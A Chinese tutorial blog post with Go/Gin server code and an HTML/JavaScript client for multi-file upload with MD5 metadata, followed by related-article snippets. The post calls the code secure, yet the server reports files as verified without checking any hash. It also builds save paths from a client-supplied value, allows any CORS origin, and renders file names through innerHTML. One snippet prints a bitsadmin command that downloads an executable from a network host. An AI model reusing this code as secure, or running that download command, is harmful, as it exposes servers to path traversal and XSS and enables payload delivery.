Go+Gin实现安全多文件上传:带MD5校验的完整解决方案
后端
package mainimport ("encoding/json""fmt""log""net/http""os""path/filepath""github.com/gin-contrib/cors""github.com/gin-gonic/gin"
)// 前端传来的文件元数据
type FileMetaRequest struct {FileName string `json:"fileName" binding:"required"`FileSize int64 `json:"fileSize" binding:"required"`FileType string `json:"fileType" binding:"required"`FileMD5 string `json:"fileMD5" binding:"required"`
}// 返回给前端的响应结构
type UploadResponse struct {OriginalName string `json:"originalName"`SavedPath string `json:"savedPath"`ReceivedMD5 string `json:"receivedMD5"`IsVerified bool `json:"isVerified"` // 是否通过验证
}func main() {r := gin.Default()// 配置CORSr.Use(cors.New(cors.Config{AllowOrigins: []string{"*"},AllowMethods: []string{"POST"},}))// 上传目录uploadDir := "uploads"if _, err := os.Stat(uploadDir); os.IsNotExist(err) {os.Mkdir(uploadDir, 0755)}r.POST("/upload", func(c *gin.Context) {// 1. 获取元数据JSONmetaJson := c.PostForm("metadata")var fileMetas []FileMetaRequestif err := json.Unmarshal([]byte(metaJson), &fileMetas); err != nil {c.JSON(http.StatusBadRequest, gin.H{"error": "元数据解析失败"})return}// 2. 获取文件form, err := c.MultipartForm()if err != nil {c.JSON(http.StatusBadRequest, gin.H{"error": "文件获取失败"})return}files := form.File["files"]// 3. 验证文件数量匹配if len(files) != len(fileMetas) {c.JSON(http.StatusBadRequest, gin.H{"error": fmt.Sprintf("元数据与文件数量不匹配(元数据:%d 文件:%d)",len(fileMetas), len(files)),})return}var results []UploadResponsefor i, file := range files {meta := fileMetas[i]// 4. 验证基本元数据if file.Filename != meta.FileName ||file.Size != meta.FileSize {results = append(results, UploadResponse{OriginalName: file.Filename,IsVerified: false,})continue}// 5. 保存文件savedName := fmt.Sprintf("%s%s", meta.FileMD5, filepath.Ext(file.Filename))savePath := filepath.Join(uploadDir, savedName)if err := c.SaveUploadedFile(file, savePath); err != nil {results = append(results, UploadResponse{OriginalName: file.Filename,IsVerified: false,})continue}// 6. 记录结果(实际项目中这里应该做MD5校验)results = append(results, UploadResponse{OriginalName: file.Filename,SavedPath: savePath,ReceivedMD5: meta.FileMD5,IsVerified: true,})}c.JSON(http.StatusOK, gin.H{"success": true,"results": results,})})log.Println("服务启动在 :8080")r.Run(":8080")
}
前端
<!DOCTYPE html>
<html lang="zh-CN">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>文件上传系统</title><script src="https://cdnjs.cloudflare.com/ajax/libs/blueimp-md5/2.19.0/js/md5.min.js"></script><style>body {font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;max-width: 800px;margin: 0 auto;padding: 20px;background-color: #f5f5f5;}h1 {color: #2c3e50;text-align: center;margin-bottom: 30px;}.upload-container {background-color: white;padding: 25px;border-radius: 8px;box-shadow: 0 2px 10px rgba(0,0,0,0.1);}.file-drop-area {border: 2px dashed #3498db;border-radius: 5px;padding: 30px;text-align: center;margin-bottom: 20px;transition: all 0.3s;}.file-drop-area.highlight {background-color: #f0f8ff;border-color: #2980b9;}#fileInput {display: none;}.file-label {display: inline-block;padding: 10px 20px;background-color: #3498db;color: white;border-radius: 5px;cursor: pointer;transition: background-color 0.3s;}.file-label:hover {background-color: #2980b9;}.file-list {margin-top: 20px;}.file-item {display: flex;justify-content: space-between;align-items: center;padding: 10px;border-bottom: 1px solid #eee;}.file-info {flex: 1;}.file-name {font-weight: bold;}.file-meta {font-size: 0.8em;color: #7f8c8d;}.file-type {display: inline-block;padding: 2px 8px;border-radius: 4px;font-size: 0.8em;margin-left: 10px;}.type-body {background-color: #2ecc71;color: white;}.type-attachment {background-color: #e74c3c;color: white;}.progress-container {margin-top: 20px;}.progress-bar {height: 20px;background-color: #ecf0f1;border-radius: 4px;margin-bottom: 10px;overflow: hidden;}.progress {height: 100%;background-color: #3498db;width: 0%;transition: width 0.3s;}.results {margin-top: 30px;}.result-item {padding: 10px;margin-bottom: 10px;border-radius: 4px;background-color: #f8f9fa;}.success {border-left: 4px solid #2ecc71;}.error {border-left: 4px solid #e74c3c;}button {padding: 10px 20px;background-color: #3498db;color: white;border: none;border-radius: 4px;cursor: pointer;font-size: 16px;transition: background-color 0.3s;}button:hover {background-color: #2980b9;}button:disabled {background-color: #95a5a6;cursor: not-allowed;}</style>
</head>
<body>
<h1>邮件文件上传系统</h1><div class="upload-container"><div class="file-drop-area" id="dropArea"><input type="file" id="fileInput" multiple><label for="fileInput" class="file-label">选择文件或拖放到此处</label><p>支持多文件上传,自动计算MD5校验值</p></div><div class="file-list" id="fileList"></div><div class="progress-container" id="progressContainer" style="display: none;"><h3>上传进度</h3><div class="progress-bar"><div class="progress" id="progressBar"></div></div><div id="progressText">准备上传...</div></div><button id="uploadBtn" disabled>开始上传</button><button id="clearBtn">清空列表</button>
</div><div class="results" id="results"></div><script>// 全局变量let files = [];const dropArea = document.getElementById('dropArea');const fileInput = document.getElementById('fileInput');const fileList = document.getElementById('fileList');const uploadBtn = document.getElementById('uploadBtn');const clearBtn = document.getElementById('clearBtn');const progressContainer = document.getElementById('progressContainer');const progressBar = document.getElementById('progressBar');const progressText = document.getElementById('progressText');const resultsContainer = document.getElementById('results');// 拖放功能dropArea.addEventListener('dragover', (e) => {e.preventDefault();dropArea.classList.add('highlight');});dropArea.addEventListener('dragleave', () => {dropArea.classList.remove('highlight');});dropArea.addEventListener('drop', (e) => {e.preventDefault();dropArea.classList.remove('highlight');if (e.dataTransfer.files.length) {fileInput.files = e.dataTransfer.files;handleFiles();}});// 文件选择处理fileInput.addEventListener('change', handleFiles);async function handleFiles() {const newFiles = Array.from(fileInput.files);if (newFiles.length === 0) return;// 为每个文件计算MD5并创建元数据for (const file of newFiles) {const fileMeta = {file: file,name: file.name,size: file.size,type: file.type,md5: await calculateMD5(file),};files.push(fileMeta);}renderFileList();uploadBtn.disabled = false;}// 计算MD5async function calculateMD5(file) {return new Promise((resolve) => {const reader = new FileReader();reader.onload = (e) => {const hash = md5(e.target.result);resolve(hash);};reader.readAsBinaryString(file); // 注意这里使用 readAsBinaryString});}// 渲染文件列表function renderFileList() {fileList.innerHTML = '';if (files.length === 0) {fileList.innerHTML = '<p>没有选择文件</p>';uploadBtn.disabled = true;return;}files.forEach((fileMeta, index) => {const fileItem = document.createElement('div');fileItem.className = 'file-item';fileItem.innerHTML = `<div class="file-info"><div class="file-name">${fileMeta.name}</div><div class="file-meta">大小: ${formatFileSize(fileMeta.size)} |MD5: ${fileMeta.md5.substring(0, 8)}... |类型: ${fileMeta.type || '未知'}</div></div><div><button onclick="toggleFileType(${index})" class="file-type ${fileMeta.isAttachment ? 'type-attachment' : 'type-body'}">${fileMeta.isAttachment ? '附件' : '正文'}</button></div>`;fileList.appendChild(fileItem);});}// 格式化文件大小function formatFileSize(bytes) {if (bytes === 0) return '0 Bytes';const k = 1024;const sizes = ['Bytes', 'KB', 'MB', 'GB'];const i = Math.floor(Math.log(bytes) / Math.log(k));return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i];}// 上传文件uploadBtn.addEventListener('click', async () => {if (files.length === 0) return;uploadBtn.disabled = true;progressContainer.style.display = 'block';resultsContainer.innerHTML = '<h3>上传结果</h3>';try {const formData = new FormData();// 添加元数据const metadata = files.map(f => ({fileName: f.name,fileSize: f.size,fileType: f.type,fileMD5: f.md5,}));formData.append('metadata', JSON.stringify(metadata));// 添加文件files.forEach(f => formData.append('files', f.file));// 使用Fetch API上传const xhr = new XMLHttpRequest();xhr.open('POST', 'http://localhost:8080/upload', true);// 进度监听xhr.upload.onprogress = (e) => {if (e.lengthComputable) {const percent = Math.round((e.loaded / e.total) * 100);progressBar.style.width = percent + '%';progressText.textContent = `上传中: ${percent}% (${formatFileSize(e.loaded)}/${formatFileSize(e.total)})`;}};xhr.onload = () => {if (xhr.status === 200) {const response = JSON.parse(xhr.responseText);showResults(response);} else {showError('上传失败: ' + xhr.statusText);}};xhr.onerror = () => {showError('网络错误,上传失败');};xhr.send(formData);} catch (error) {showError('上传出错: ' + error.message);}});// 显示上传结果function showResults(response) {progressText.textContent = '上传完成!';if (response.success) {response.results.forEach(result => {const resultItem = document.createElement('div');resultItem.className = `result-item ${result.isVerified ? 'success' : 'error'}`;resultItem.innerHTML = `<div><strong>${result.originalName}</strong></div><div>保存路径: ${result.savedPath || '无'}</div><div>MD5校验: ${result.receivedMD5 || '无'} -<span style="color: ${result.isVerified ? '#2ecc71' : '#e74c3c'}">${result.isVerified ? '✓ 验证通过' : '× 验证失败'}</span></div>`;resultsContainer.appendChild(resultItem);});} else {showError(response.error || '上传失败');}}// 显示错误function showError(message) {const errorItem = document.createElement('div');errorItem.className = 'result-item error';errorItem.textContent = message;resultsContainer.appendChild(errorItem);}// 清空列表clearBtn.addEventListener('click', () => {files = [];fileInput.value = '';renderFileList();progressContainer.style.display = 'none';resultsContainer.innerHTML = '';uploadBtn.disabled = true;});
</script>
</body>
</html>
上传截图
相关文章:
Go+Gin实现安全多文件上传:带MD5校验的完整解决方案
后端 package mainimport ("encoding/json""fmt""log""net/http""os""path/filepath""github.com/gin-contrib/cors""github.com/gin-gonic/gin" )// 前端传来的文件元数据 type FileMetaRe…...
SwanLab Slack通知插件:让AI训练状态同步更及时
在AI模型训练的过程中,开发者常常面临一个难题:如何及时跟踪训练状态?无论是实验超参数的调整、关键指标的变化,还是意外中断的告警,传统的监控方式往往依赖手动刷新日志或反复检查终端,这不仅效率低下&…...
JavaScript元素尺寸与位置
目录 client 家族与 offset 家族 一、client 家族:内容区域 内边距 示例代码 应用场景 二、offset 家族:内容区域 内边距 边框 滚动条 示例代码 应用场景 三、综合应用场景 1. 动态调整元素高度 2. 拖拽元素 3. 判断元素是否在视口内 四…...
IS-IS:单区域集成配置与多区域集成配置
一、IS-IS概述 IS-IS(Intermediate System to Intermediate System) 是一种链路状态内部网关协议(IGP),设计用于自治系统(AS)内部的路由选择。最初由ISO为OSI模型的无连接网络服务(…...
Cesium学习(未完继续)
添加底图 viewer.imageryLayers.addImageryProvider(imageryProvider)常见 ImageryProvider 实现类 ArcGisMapServerImageryProvider:用于从 ArcGIS Server 获取影像数据。 BingMapsImageryProvider:用于从 Bing Maps 获取影像数据。 OpenStreetMapIm…...
【学Rust写CAD】22 双圆径向渐变的结构体(two_circle_radial_gradient.rs)
源码 //two_circle_radial_gradient.rs //! 定义双圆径向渐变的结构体和相关功能/// 表示一个双圆径向渐变的源 /// /// 该结构体描述了两个圆之间的渐变,支持矩阵变换和颜色查找表优化 #[derive(Debug, Clone, PartialEq)] pub struct TwoCircleRadialGradientSou…...
基于SpringAOP面向切面编程的一些实践(日志记录、权限控制、统一异常处理)
前言 Spring框架中的AOP(面向切面编程) 通过上面的文章我们了解到了AOP面向切面编程的思想,接下来通过一些实践,去更加深入的了解我们所学到的知识。 简单回顾一下AOP的常见应用场景 日志记录:记录方法入参、返回值、执…...
acwing 5438. 密接牛追踪2
农夫约翰有 NN 头奶牛排成一排,从左到右依次编号为 1∼N。 不幸的是,有一种传染病正在蔓延。 最开始时,只有一部分奶牛受到感染。 每经过一个晚上,受感染的牛就会将病毒传染给它左右两侧的牛(如果有的话)…...
【Linux】线程池
目录 线程池 日志 线程池 在程序中,会预先创建一批线程,在内部会有一个叫任务队列task_queue的东西,未来如果有任务要处理,就把任务push到任务队列里,然后自动有线程去任务队列里拿任务并处理,如果没有任…...
【11408】考研英语长难句解析策略:三步断开与简化法,快速提升阅读得分
2025.04.01 英语断开长难句分析主谓心得 简化长难句心得 英语 断开长难句 在一些长难句中,有时从句的连词会被省略,且没有标点将其隔开,此时就无法通过标点和连接词来断开长难句。那么我们只能够通过分析主谓来断开长难句。 分析主谓 谓语…...
Spring Cloud 2023.x安全升级:OAuth2.1与JWT动态轮换实战
引言:当安全遇上云原生,零停机密钥轮换成为刚需 在微服务架构中,OAuth2.1与JWT已成为身份验证的黄金标准,但传统方案存在两大痛点: 密钥轮换风险:手动替换JWT密钥需重启服务,导致短暂鉴权中断&…...
Vue3.5 企业级管理系统实战(十二):组件尺寸及多语言实现
1 组件尺寸切换 1.1 用 Pinia 进行 Size 的持久化存储 首先,在 src/plugins/element.ts 中增加 size 类型,代码如下: //src/plugins/element.ts import type { App } from "vue";import { ElMessage, ElNotification, ElMessageBo…...
15:00开始面试,15:08就出来了,问的问题有点变态。。。
从小厂出来,没想到在另一家公司又寄了。 到这家公司开始上班,加班是每天必不可少的,看在钱给的比较多的份上,就不太计较了。没想到8月一纸通知,所有人不准加班,加班费不仅没有了,薪资还要降40%…...
Java学习路线 - 第三阶段笔记
Java学习路线 - 第三阶段笔记 Java高级特性(2-3个月) 1. 集合框架深入 1.1 List详解 ArrayList:基于动态数组实现,随机访问高效,插入删除效率低LinkedList:基于双向链表实现,插入删除高效&a…...
【无标题】Scala函数基础
函数和方法的区别 1) 核心概念 (1) 为完成某一功能的程序语句的集合,称为函数。 (2) 类中的函数称之方法。 2) 案例实操 (1) Scala 语言可以在任何的语法结构中声明…...
微信登录、商品浏览前瞻
一.业务效果 二.所需技术...
自动化工作流工具的综合对比与推荐
最近收到很多朋友私信我说:“刷短视频的时候,总是刷到自动化工作流的工具,有好多直播间都在宣传,不知道哪款工具好”。我花了点时间,做了一下测试,大家可以参考一下,以下内容: 以下…...
可实现黑屏与蓝屏反应的屏幕隐私保护软件分享
软件介绍 在信息安全备受关注的当下,一款能够有效保护屏幕隐私的软件 —— 防窥助手,悄然问世。它由吾爱的 遗憾迟香精心开发,为用户的屏幕隐私防护带来全新体验。 独特原理,精准守护 防窥助手的运行原理相当巧妙,它…...
PERL开发环境搭建>>Windows,Linux,Mac OS
特点 简单 快速 perl解释器直接对源代码程序解释执行,是一个解释性的语言, 不需要编译器和链接器来运行代码>>速度快 灵活 借鉴了C/C, Basic, Pascal, awk, sed等多种语言, 定位于实用性语言,既具备了脚本语言的所有功能,也添加了高级语言功能 开源.免费 没有&qu…...
【实战】渗透测试下的传输命令
目录 bitsadmin certutil curl ftp js nc perl php py scp vbs wget WindowsDefender bitsadmin 不支持https、ftp协议,php python带的服务器会出错 >bitsadmin /transfer n http://192.168.1.192/Client.exe e:\1.exe >bitsadmin /rawreturn /…...
JSON 基础知识(一)
第一部分:JSON 基础知识 📢 快速掌握 JSON!文章 视频双管齐下 🚀 如果你觉得阅读文章太慢,或者更喜欢 边看边学 的方式,不妨直接观看我录制的 JSON 课程视频!🎬 视频里会用更直观…...
nodejs:midi-writer-js 将基金净值数据转换为 midi 文件
开放式基金是没有公布每日交易量的。 /funds/data/660008.csv 文件开头: date,jz,ljjz 2016-01-04,1.1141,1.1141 2016-01-05,1.1161,1.1161 2016-01-06,1.1350,1.1350 这是一个将开放式基金数据转换为 MIDI音乐的 js 程序示例。该程序将基金净值映射为 MIDI音符的…...
从零实现Json-Rpc框架】- 项目实现 - 服务端registrydiscovery实现
📢博客主页:https://blog.csdn.net/2301_779549673 📢博客仓库:https://gitee.com/JohnKingW/linux_test/tree/master/lesson 📢欢迎点赞 👍 收藏 ⭐留言 📝 如有错误敬请指正! &…...
自适应二值化与形态学变换在图像颜色识别与替换中的应用解析
目录 前言一、自适应二值化1.1 取均值 ADAPTIVE_THRESH_MEAN_C1.2 高斯加权求和 ADAPTIVE_THRESH_GAUSSIAN_C1.2.1 一维高斯分布1.2.2 二维高速分布1.2.3 二维高斯分布权重计算规则 1.2.3.1 用户设置了σ1.2.3.2 用户没有设置σ1.3 代码二、形态学变换2.1 核 2.2 腐蚀2.3 膨胀…...
JsonCpp 处理 JSON(现代 C++ 方案)(三)
第三部分:JsonCpp 处理 JSON(现代 C++ 方案) 📢 快速掌握 JSON!文章 + 视频双管齐下 🚀 如果你觉得阅读文章太慢,或者更喜欢 边看边学 的方式,不妨直接观看我录制的 JsonCpp 课程视频!🎬 视频里会用更直观的方式讲解 JsonCpp 的核心概念、实战技巧,并配有动手演…...
flutter 曲线学习 使用第三方插件实现左右滑动
flutter 曲线的使用 实现左右滑动 TemperatureChartPage() TemperatureChartPage2() – 不太完善 方法 ChartDrawPage import package:doluyo/dly_package/widget/dly_widget.dart; import package:fl_chart/fl_chart.dart; import package:flutter/material.dart; impor…...
【WRF工具】GIS4WRF详细介绍:配置 WPS/WRF
【WRF工具】GIS4WRF详细介绍 QGIS-GIS4WRF安装(Installation)安装 QGIS安装 GIS4WRF GIS4WRF 配置(Configuration)一、如何进入配置界面二、可配置内容1️⃣ 设置工作目录2️⃣ 与 WPS/WRF 集成3️⃣ 与 NCAR 数据档案集成 参考 GIS4WRF 是一个在 QGIS 中…...
【自用记录】本地关联GitHub以及遇到的问题
最近终于又想起GitHub,想上传代码和项目到仓库里。 由于很早之前有在本地连接过GitHub(但没怎么用),现在需要重新搞起(操作忘得差不多)。 在看教程实操的过程中遇到了一些小问题,遂记录一下。 前…...
小程序中跨页面组件共享数据的实现方法与对比
小程序中跨页面/组件共享数据的实现方法与对比 在小程序开发中,实现不同页面或组件之间的数据共享是常见需求。以下是几种主要实现方式的详细总结与对比分析: 一、常用数据共享方法 全局变量(getApp())、本地缓存(w…...
ngx_http_core_merge_srv_conf
定义在 src\http\ngx_http_core_module.c static char * ngx_http_core_merge_srv_conf(ngx_conf_t *cf, void *parent, void *child) {ngx_http_core_srv_conf_t *prev parent;ngx_http_core_srv_conf_t *conf child;ngx_str_t name;ngx_http_server_name_t…...
如何在中科方德llinux系统上离线安装salt-minion
1,我的系统是什么 国产操作系统 中科方德 NFSChina Server release 4.0.240701 (RTM4-G320) 2,首先准备好两个安装包 salt-minion-2015.8.8-2.el7.noarch.rpm和salt-2015.8.8-2.el7.noarch.rpm 后者这个是前者的依赖项。 所以先安装salt-2015.8.8-2.e…...
RAG系统实战:当检索为空时,如何实现生成模块的优雅降级(Fallback)?
目录 RAG系统实战:当检索为空时,如何实现生成模块的优雅降级(Fallback)? 一、为什么需要优雅降级(Fallback)? 二、常用的优雅降级策略 策略一:预设后备提示࿰…...
输电线路航空标志球:低空飞行的安全路标 / 恒峰智慧科技
在现代社会,随着航空业的快速发展,低空飞行活动日益频繁。为了确保飞行安全,避免飞机与高压电线等障碍物发生碰撞,输电线路航空标志球应运而生。这种装置被广泛应用于高压输电线路上,尤其是超高压和跨江输电线…...
【SPP】蓝牙 SDP 协议在SPP中的互操作性解析
在蓝牙通信体系中,服务发现协议(SDP, Service Discovery Protocol)扮演着 "服务目录" 的核心角色。对于串口通信协议(SPP, Serial Port Profile)而言,SDP 服务记录是设备间建立串口连接的基础&am…...
本地部署vanna ai+通过http请求调用vanna
本地部署vanna ai ① 准备python环境,推荐最新的python12、13版本 ② 安装vanna库 我这里安装的python环境是python312 进入目录python312/Scripts,在该目录下的命令行窗口中输入以下命令:pip jinstall vanna pip install vanna③ 配置向…...
seq2seq
理解 transformer 中的 encoder decoder 详细的 transformer 教程见:【极速版 – 大模型入门到进阶】Transformer 文章目录 🌊 Encoder: 给一排向量输出另外一排向量🌊 Encoder vs. Decoder: multi-head attention vs. masked multi-head at…...
C++ ---- 虚继承
一、什么是虚继承 虚继承就是子类中只有一份间接父类的数据。用于解决多继承中的父类为非虚继承时出现的二义性问题,即菱形继承问题。继承方式需要加上virtual关键字。 二、虚继承的特性 以菱形继承为例: 1.不使用虚继承 根据输出的大小和关系图&…...
COMSOL多层圆片随机堆积三维模型
构建多层圆片随机堆积三维模型可用于材料、化工、土木、生物医学等多领域的研究,如复合材料设计、催化剂载体、颗粒物堆积研究等。本案例介绍在COMSOL内建立三维圆片堆积模型。 三维圆片堆积模型可采用CAD纤维密堆积3D插件建立,参数设置如图所示&#…...
PHP 开发API接口签名验证
就安全来说,所有客户端和服务器端的通信内容应该都要通过加密通道(HTTPS)传输,明文的HTTP通道将会是man-in-the- middle及其各种变种攻击的温床。所谓man-in-the-middle攻击简单讲就是指恶意的黑客可以在客户端和服务器端的明文通信通道上做手 脚&#x…...
Web开发-JavaEE应用ORM框架SQL预编译JDBCMyBatisHibernateMaven
知识点: 0、安全开发-JavaEE-构建工具-Maven 1、安全开发-JavaEE-ORM框架-JDBC 2、安全开发-JavaEE-ORM框架-Mybatis 3、安全开发-JavaEE-ORM框架-Hibernate 4、安全开发-JavaEE-ORM框架-SQL注入&预编译 一、演示案例-WEB开发-JavaEE-构建工具-Maven IDEA配置m…...
软考-数据库系统工程师第四版pdf
软考-数据库系统工程师第四版pdf git中的文件相对没有那么清楚,网盘的有高清版 github下载 这里我给出仓库地址 链接: https://github.com/yaodada123/ruankao-pdf https://github.com/yaodada123/ruankao-pdf gitee下载 https://gitee.com/yao-hengchao/ruank…...
扫描仪+文档pdf编辑器+pdf格式转换器
小扫描仪是一款集“扫描仪文档pdf编辑器pdf格式转换器”于一体的多功能扫描软件,软件功能丰富,而且目前是免费,功能包括扫描、编辑、转换三部分。 扫描:扫描的功能包括文档扫描、身份证扫描、护照扫描、书籍扫描、OCR和二维码。 扫…...
【stm32--HAL库DMA+USART+空闲中断不定长收发数据】
串口通信-Hal库实现不定长度收发,DMAUSART DMA串口STM32CUBEMX配置(工程创建)基础配置时钟配置工程配置 代码编写现象 DMA 在正式配置之前,我们先来一起简单了解一下DMA。DMA(Direct Memory Access,直接内…...
5G-A技术
最近的iOS 18.4 推送了 新功能,最引人注目的便是这个5G-A的这个功能,那什么是5G-A呢 ? 目前北京 四环内 还是有能显示出5G-A标志的。 5G-A 🌐 一句话概括: 5G-A 更快的速度 更低的延迟 更强的AI能力 更智能的网…...
Vue 组件 - 动态组件
Vue 渐进式JavaScript 框架 基于Vue2的学习笔记 - Vue 组件 - 动态组件 目录 动态组件 选项卡页面示例 更简单写法 增加输入框 弥补措施 总结 动态组件 选项卡页面示例 功能:选项卡功能,设置导航点击哪个显示相应页面。 设置三个全局组件&#…...
ffmpeg滤镜使用
ffmpeg实现画中画效果 FFmpeg中,可以通过overlay将多个视频流、多个多媒体采集设备、多个视频文件合并到一个界面中,生成画中画的效果 FFmpeg 滤镜 overlay 基本参数 x和y x坐标和Y坐标 eof action 遇到 eof表示时的处理方式,默认为重复。…...
【MVC简介-产生原因、演变历史、核心思想、组成部分、使用场景】
MVC简介 产生原因: MVC(Model-View-Controller)模式诞生于20世纪70年代,由Trygve Reenskaug在施乐帕克研究中心(Xerox PARC)为Smalltalk语言设计,目的是解决图形用户界面(GUI&…...
基于大模型的房间隔缺损手术全流程预测与方案优化研究报告
目录 一、引言 1.1 研究背景与意义 1.2 研究目的与目标 1.3 研究方法与创新点 二、房间隔缺损概述 2.1 房间隔缺损定义与分类 2.2 发病机制与病理生理 2.3 流行病学特征 三、大模型在房间隔缺损预测中的应用原理 3.1 大模型技术简介 3.2 数据收集与预处理 3.3 模型…...
什么是 CSSD?
文章目录 一、什么是 CSSD?CSSD 的职责 二、CSSD 是如何工作的?三、CSSD 为什么会重启节点?情况一:网络和存储都断联(失联)情况二:收到其他节点对自己的踢出通知(外部 fencing&#…...
uniapp APP端在线升级(简版)
设计思路: 1.版本比较:应用程序检查其当前版本与远程服务器上可用的最新版本 2. 更新状态指示:如果应用程序是不是最新的版本,则页面提示下载最新版本。 3.下载启动:通过plus.downloader.createDownload()启动新应用…...